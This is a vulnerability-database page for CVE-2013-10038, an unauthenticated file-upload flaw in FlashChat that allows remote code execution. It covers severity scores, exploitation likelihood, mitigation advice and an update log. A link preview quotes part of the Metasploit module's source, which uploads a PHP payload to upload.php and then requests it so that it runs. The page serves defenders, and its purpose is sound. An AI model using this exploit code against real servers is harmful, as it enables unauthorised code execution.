CVE-2013-10038

CRITICALNVD 9.39.3
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to NVD's CVSS score.

This critical-severity CVE scores 9.3 under NVD CVSS. EPSS exploit probability: 2.1% (82nd percentile of EPSS-scored CVEs). No GitHub Security Advisory CVSS is on record for this CVE.

Triggered by: Headline CVSS from NVD CVSS
Sources: EPSS, NVD CVSS
Weaponized

Also known asEUVD-2013-7257 (ENISA EUVD) · GHSA-2ff6-7rc2-25pr (GitHub Security Advisories)Source: ENISA EUVD

9.3EG
EchelonGraph verdictPlan mitigationNo fix is confirmed yet: check with the vendor for a fixed release; until one is applied, restrict network exposure of the affected system on your normal schedule at low or medium mission impact and sooner than that at high (the SSVC decision on this page).
  • Public exploit code is available (Metasploit)
CISA-KEV: Not listedEPSS PROB: 2.1%CVSS: 9.3Exploit: MetasploitExposed services: Not assessed

No fix is confirmed yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for the fix.

The CVE record's CNA (VulnCheck) lists TUFaT FlashChat versions 6.0.4 up to and including 6.0.8 as affected. No release containing a fix is confirmed on record.

An unauthenticated arbitrary file upload vulnerability exists in FlashChat versions 6.0.2 and 6.0.4 through 6.0.8. The upload.php endpoint fails to properly validate file types and authentication, allowing attackers to upload malicious PHP scripts. Once uploaded, these scripts can be executed remotely, resulting in arbitrary code execution as the web server user.

CVSS
9.3
EG Score
9.3CRITICALmedium confidence
EG Risk
83
EG Risk 83/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity93% × 45%
Impact severity (EG Severity): CVSS 9.3 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation65% × 40%
EchelonGraph's fixed weight for EG-KEV Tier 2 (Weaponized): a constant, not a probability.
Automatability100% × 15%
CISA's SSVC Automatable value: yes (Vulnrichment).
SSVC (CISA's decision table, applied by EchelonGraph): Track at low, Track* at medium and Attend at high mission impact.
Exploitation public PoC (CISA Vulnrichment) · Automatable yes (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: No fix is confirmed yet. Check with the vendor for a fixed release; until one is applied, restrict network exposure of the affected system on your normal schedule at low or medium mission impact and sooner than that at high.
EPSS PROB
2.1%
EPSS %ILE
82nd
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (9.3): severity, escalated by confirmed exploitation. This CVE's 9.3 is its impact severity (EG Severity), not escalated.

EG Severity
9.3 CRITICALCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.NVD CVSS
EG Likelihood
2.1% within 30 daysSource: FIRST EPSS (model v2026.06.15, score date 2026-11-12). FIRST's exploitation probability, not an EchelonGraph model.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track* at medium mission impactTrack at low, Track* at medium and Attend at high mission impact.CISA BOD 26-04: 3 days if the affected system is publicly exposed; 60 days if it is not.No released fix is confirmed on this page, but CISA's timeline does not wait for a fix's release: it starts when an agency identifies the flaw on an asset and updates the CDM Agency and Federal Dashboard, and the directive counts patching, decommissioning the system or another action as remediation. Until a fixed release is applied, mitigate as this page's verdict says.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low, Track* at medium and Attend at high mission impact.

No fix is confirmed yet. Check with the vendor for a fixed release; until one is applied, restrict network exposure of the affected system on your normal schedule at low or medium mission impact and sooner than that at high.

Exploitation public PoC (CISA Vulnrichment) · Automatable yes (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)3 days if the affected system is publicly exposed; 60 days if it is not.

No released fix is confirmed on this page, but CISA's timeline does not wait for a fix's release: it starts when an agency identifies the flaw on an asset and updates the CDM Agency and Federal Dashboard, and the directive counts patching, decommissioning the system or another action as remediation. Until a fixed release is applied, mitigate as this page's verdict says.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable yes (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 31, 2025

Last Modified

April 15, 2026

Advisory Details (4)

Auto-updated Sep 15, 2026
No fix on record yet.
Web page

FlashChat Arbitrary File Upload RCE | Advisories | VulnCheck

https://www.vulncheck.com/advisories/flashchat-arbitrary-file-upload-rce
Web page

FlashChat 6.0.2 < 6.0.8 - Arbitrary File Upload - PHP webapps Exploit

https://www.exploit-db.com/exploits/28709
Web page

FlashChat v([\d\.]+)/).flatten[0] || '' if version.empty? return Exploit::CheckCode::Unknown('Could not determine the target status') end vprint_status("Version found: #{version}") if version =~ /6\.0\.(2|4|5|6|7|8)/ return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") elsif version <= "6.0.8" return Exploit::CheckCode::Detected("Detected version #{version}") else return Exploit::CheckCode::Safe("Version #{version} i...

FlashChat v([\d\.]+)/).flatten[0] || '' if version.empty? return Exploit::CheckCode::Unknown('Could not determine the target status') end vprint_status("Version found: #{version}") if version =~ /6\.0\.(2|4|5|6|7|8)/ return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") elsif version <= "6.0.8" return Exploit::CheckCode::Detected("Detected version #{version}") else return Exploit::CheckCode::Safe("Version #{version} is not vulnerable") end end # # Uploads our malicious file # Stolen from havalite_upload_exec.rb # def upload(base) fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php" php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"") post_data = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Failure::NotFound, "#{peer} - No upload.php found") elsif res.code.to_i == 500 fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") end return fname end # # Executes our uploaded malicious file # Stolen from havalite_upload_exec.rb # def exec(base, payload_fname) res = send_request_raw({ 'uri' => normalize_uri(base, 'temp', payload_fname) }) if res and res.code == 404 fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") end end def exploit base = target_uri.path # upload print_status("Uploading malicious file...") fname = upload(base) # register the file to clean register_files_for_cleanup(fname) # exec print_status("...

https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/flashchat_upload_exec.rb

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 14× in last 7d / 57× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed its CVE.org record (CNA or CISA ADP). An arrow marks a change the record states ("CVSS → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). "EchelonGraph re-scored" is our own recompute of this CVE's score, not an update from a source, and is not counted in the refreshes above. Most recent first.

Showing the most recent 100 of 227 rows on record for this CVE.

A repeat, a row identical to one the same pipeline wrote less than 10 seconds earlier, is not a separate refresh and is not counted. None are among the latest 100 rows. The 127 oldest rows on record are not shown and were not checked, so the counts can still include repeats.

  1. 2026-11-13 10:40 UTCEchelonGraph re-scored
  2. 2026-11-13 10:40 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  3. 2026-11-12 16:26 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  4. 2026-11-12 08:46 UTCEchelonGraph re-scored
  5. 2026-11-12 08:46 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  6. 2026-11-11 16:27 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  7. 2026-11-11 06:58 UTCEchelonGraph re-scored
  8. 2026-11-11 06:58 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  9. 2026-11-10 16:28 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  10. 2026-11-10 05:11 UTCEchelonGraph re-scored
  11. 2026-11-10 05:11 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  12. 2026-11-09 16:26 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  13. 2026-11-09 03:24 UTCEchelonGraph re-scored
  14. 2026-11-09 03:24 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  15. 2026-11-08 16:28 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  16. 2026-11-08 01:37 UTCEchelonGraph re-scored
  17. 2026-11-08 01:37 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  18. 2026-11-07 16:28 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  19. 2026-11-06 23:49 UTCEchelonGraph re-scored
  20. 2026-11-06 23:49 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  21. 2026-11-06 16:27 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  22. 2026-11-05 22:02 UTCEchelonGraph re-scored
  23. 2026-11-05 22:02 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  24. 2026-11-05 16:27 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  25. 2026-11-04 20:15 UTCEchelonGraph re-scored
Show 75 more
  1. 2026-11-04 20:15 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  2. 2026-11-04 16:27 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  3. 2026-11-03 18:28 UTCEchelonGraph re-scored
  4. 2026-11-03 18:28 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  5. 2026-11-03 16:30 UTCEPSS rescoreEPSS 2.1% · 82nd percentile
  6. 2026-11-02 16:35 UTCEchelonGraph re-scored
  7. 2026-11-02 16:35 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  8. 2026-11-02 16:32 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  9. 2026-11-01 16:27 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  10. 2026-11-01 14:27 UTCEchelonGraph re-scored
  11. 2026-11-01 14:27 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  12. 2026-10-31 16:26 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  13. 2026-10-31 12:40 UTCEchelonGraph re-scored
  14. 2026-10-31 12:40 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  15. 2026-10-30 16:27 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  16. 2026-10-30 10:54 UTCEchelonGraph re-scored
  17. 2026-10-30 10:54 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  18. 2026-10-29 16:26 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  19. 2026-10-29 09:07 UTCEchelonGraph re-scored
  20. 2026-10-29 09:06 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  21. 2026-10-28 16:26 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  22. 2026-10-28 07:17 UTCEchelonGraph re-scored
  23. 2026-10-28 07:17 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  24. 2026-10-27 16:26 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  25. 2026-10-27 05:30 UTCEchelonGraph re-scored
  26. 2026-10-27 05:30 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  27. 2026-10-25 23:39 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  28. 2026-10-25 20:10 UTCEchelonGraph re-scored
  29. 2026-10-25 16:26 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  30. 2026-10-24 21:38 UTCEchelonGraph re-scored
  31. 2026-10-24 21:38 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  32. 2026-10-24 16:27 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  33. 2026-10-23 19:51 UTCEchelonGraph re-scored
  34. 2026-10-23 19:51 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  35. 2026-10-23 16:26 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  36. 2026-10-22 17:57 UTCEchelonGraph re-scored
  37. 2026-10-22 17:57 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  38. 2026-10-22 16:26 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  39. 2026-10-21 16:26 UTCEPSS rescoreEPSS 2.1% · 81st percentile
  40. 2026-10-21 16:10 UTCEchelonGraph re-scored
  41. 2026-10-21 16:10 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  42. 2026-10-20 16:26 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  43. 2026-10-20 14:21 UTCEchelonGraph re-scored
  44. 2026-10-20 14:20 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  45. 2026-10-19 16:26 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  46. 2026-10-19 12:33 UTCEchelonGraph re-scored
  47. 2026-10-19 12:32 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  48. 2026-10-18 16:26 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  49. 2026-10-18 10:44 UTCEchelonGraph re-scored
  50. 2026-10-18 10:44 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  51. 2026-10-17 16:26 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  52. 2026-10-17 08:57 UTCEchelonGraph re-scored
  53. 2026-10-17 08:57 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  54. 2026-10-16 16:26 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  55. 2026-10-16 07:09 UTCEchelonGraph re-scored
  56. 2026-10-16 07:09 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  57. 2026-10-15 16:26 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  58. 2026-10-15 05:21 UTCEchelonGraph re-scored
  59. 2026-10-15 05:21 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  60. 2026-10-14 16:26 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  61. 2026-10-14 01:03 UTCEchelonGraph re-scored
  62. 2026-10-14 01:03 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  63. 2026-10-13 16:26 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  64. 2026-10-12 21:11 UTCEchelonGraph re-scored
  65. 2026-10-12 21:11 UTCGHSA enrichmentGHSA-2ff6-7rc2-25pr · GitHub severity CRITICAL
  66. 2026-10-12 16:27 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  67. 2026-10-12 01:33 UTCEchelonGraph re-scored
  68. 2026-10-11 13:39 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  69. 2026-10-10 19:54 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  70. 2026-10-09 20:00 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  71. 2026-10-08 16:34 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  72. 2026-10-07 23:39 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  73. 2026-10-06 15:10 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  74. 2026-10-05 17:38 UTCEPSS rescoreEPSS 1.9% · 79th percentile
  75. 2026-10-04 23:16 UTCEPSS rescoreEPSS 1.9% · 79th percentile

Publicly available exploits

(1 reference)

Public exploit code is referenced for this CVE (1 Metasploit module). No fix is confirmed yet, so defenders should restrict or isolate affected systems accordingly until one is published.

  • Metasploitexploit/unix/webapp/flashchat_upload_exec✓ verified
    Published Oct 5, 2013

    FlashChat Arbitrary File Upload

    Open source ↗

Frequently asked(5)

What is CVE-2013-10038?
CVE-2013-10038 is a critical-severity vulnerability; its CVE record was published on July 31, 2025. An unauthenticated arbitrary file upload vulnerability exists in FlashChat versions 6.0.2 and 6.0.4 through 6.0.8. The upload.php endpoint fails to properly validate file types and authentication, allowing attackers to upload malicious PHP scripts. Once uploaded, these scripts can be executed…
When was CVE-2013-10038 made public?
CVE-2013-10038 was made public on October 4, 2013: that is the date its CVE record's CNA, VulnCheck, gives for when the vulnerability was made public. The CVE record itself was published on July 31, 2025. EchelonGraph's copy of the record carries a last-modified date of April 15, 2026; the record at its source may have been updated since.
Is CVE-2013-10038 actively exploited?
CVE-2013-10038 is not currently on CISA's Known Exploited Vulnerabilities catalog. EchelonGraph's EG-KEV model places it in Tier 2 (Weaponized), which is not evidence of exploitation: a Metasploit module exists for it. EchelonGraph does not test whether exploit code works. FIRST EPSS estimates a 2.1% probability of exploitation in the next 30 days (82nd percentile of EPSS-scored CVEs).
What is the CVSS score of CVE-2013-10038?
CVE-2013-10038 has a CVSS base score of 9.3 (NVD).
How do I remediate CVE-2013-10038?
No fix for CVE-2013-10038 is confirmed yet. Until one is published, restrict network exposure of the affected system — for example, keep it off the internet or limit it to trusted networks — and watch for a fix. The CVE record's CNA (VulnCheck) lists TUFaT FlashChat versions 6.0.4 up to and including 6.0.8 as affected. No release containing a fix is confirmed on record.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2013-10038

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